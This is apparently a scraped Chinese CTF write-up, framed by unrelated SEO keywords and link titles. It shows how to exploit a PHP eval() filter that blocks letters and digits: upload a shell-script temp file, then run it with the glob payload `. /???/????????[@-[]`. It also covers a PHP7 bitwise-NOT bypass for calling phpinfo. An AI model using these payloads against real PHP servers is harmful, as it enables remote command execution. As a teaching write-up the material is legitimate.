当前位置: 首页 > news >正文

大连 网站维护今日新闻联播主要内容摘抄

大连 网站维护,今日新闻联播主要内容摘抄,中煤地建设有限公司网站,wordpress页面伪静态nginx目录 对于php5以上首先要解决的问题有 解决技巧 1.code长度小于35位 2.没有字母、数字、_ 、$ 3.怎么把文件放进服务器 4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令 5.构造完整的code参数 6.我们还可以通过修改文件里面shell命令,…

目录

对于php5以上首先要解决的问题有

解决技巧

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

        1.执行Linux命令

        2.执行文件里面的shell命令

5.构造完整的code参数

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7可以用取反绕过的技巧( ~ 是取反的意思)


<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

这个代码怎么利用

对于php5以上首先要解决的问题有

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

解决技巧

1.code长度小于35位

这个问题和整体思路有关,要和后面的一起考虑

2.没有字母、数字、_ 、$

可以不用字母数字,Linux系统文件名支持通配符方式查找

比如

* 代表任意长度的字符

?代表任意一个长度的字符

[ ] 匹配括号里面的任意一个

这道题我们要找文件,不能用字母,数字等,因为我们要找的文件有个特点是在tmp下,9位,最后一位有几率是大写字母,所以我们可以用通配符和ascii码结合一下,写出payload

/???/????????[@-[] 

因为最后一位是大写,所以可以用@-[ ,因为@到[ 的ASCII码正好刚刚好包含了大写字母

3.怎么把文件放进服务器

写一个文件上传的html页面,作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记

<!DOCTYPE html>
<html lang="zh">
<head>  <meta charset="UTF-8">  <title>文件上传示例</title>  
</head>
<body><form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file" required><input type="submit" value="上传"></form>
</body>
</html>

在上传的文件1.txt里面写上#!bin/bash

                                           id          

复制如图的请求标识,备用      

4.怎么执行文件里面的内容

在发送上一步文件上传请求后,Linux会在tmp下生成一个临时文件,我们要运行并执行文件里面的内容

        1.执行Linux命令

                在Linux里面``反引号可以执行命令,所以我们用

                `/???/????????[@-[]`

                来执行查找临时文件的命令,

        2.执行文件里面的shell命令

               在文件路径的前面加上   .  可以执行文件里面的命令

        所以payload是

                `. /???/????????[@-[]`

5.构造完整的code参数

        code=?><?=`. /???/????????[@-[]`;?>

<?是php的开头,为什么前面还要加一个?>呢

因为这个是php官方要求的,目的是为了防止前面的代码进行干扰,就用?>进行闭合,

然后再写我们的php代码。

如图所示,post请求是可以把get请求参数和post请求一起进行传递的

整个过程是,post请求把带有shell命令的临时文件生成,然后get请求传递code值放入eval()里面,

然后执行查找临时文件的命令,找到了临时文件,然后用 . 来执行文件里面的显示当前用户id的命令,最后,用户id信息就会显示在响应包里面

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7还可以用取反绕过的技巧( ~ 是取反的意思)

PHP7允许用($a)();这样的方法来执行动态函数,所以我们可以想到直接(phpinfo)();

但是由于过滤了字母,不能直接写phpinfo,可以进行取反

把phpinfo用php代码进行取反,得到

%8F%97%8F%96%91%99%90

取反绕过了以后再取反一次,就回到了我们的phpinfo

所以可以构造payload为

code=(~%8F%97%8F%96%91%99%90)();

http://www.hkea.cn/news/763561/

相关文章:

  • 烟台网站建设设计软文广告经典案例100字
  • 做微信用什么网站广州百度seo代理
  • 网站建设目标 优帮云跨境电商营销推广
  • 郑州华恩科技做网站怎么样竞价排名适合百度吗
  • flask做大型网站开发深圳seo博客
  • 合肥网站建设平台小程序怎么引流推广
  • 做网站被拘留免费找客源软件
  • 门户型网站建设百度seo快速提升排名
  • 印度做杂质的网站如何进行网络推广
  • 建设厅八大员兴安盟新百度县seo快速排名
  • 南京网站建设索q.479185700小说排行榜百度
  • 幼儿做爰网站seo工程师是什么职业
  • 申请空间 建立网站吗西安百度推广运营
  • 做花馍网站百度联盟
  • 沈阳建设企业网站google浏览器官网
  • 毕业论文 网站开发营销qq下载
  • 建网站要多长时间外贸网站优化
  • 苹果网站做的好的点电脑培训网上免费课程
  • 做网站开源互联网优化是什么意思
  • 模仿做网站b站上海热点新闻
  • phpcmsv9网站地图地推的60种方法
  • 湖南手机版建站系统哪个好百度网盘app怎么打开链接
  • asp网站开发的实训报告电商营销推广有哪些?
  • 交互设计流程外贸网站优化公司
  • 网络营销网站策划个人网站seo入门
  • 云南省网站备案要求全渠道营销的概念
  • 装修网站合作平台有哪些torrentkitty磁力猫
  • 大理网站开发长春seo结算
  • 西双版纳疫情最新情况seo营销的概念
  • 网站推广seo蜘蛛屯优化排名模板建网站价格